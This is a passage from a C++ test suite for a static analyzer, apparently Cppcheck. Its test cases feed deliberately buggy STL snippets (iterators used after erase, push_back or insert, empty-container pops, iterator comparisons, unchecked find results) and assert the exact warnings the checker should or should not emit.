ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n 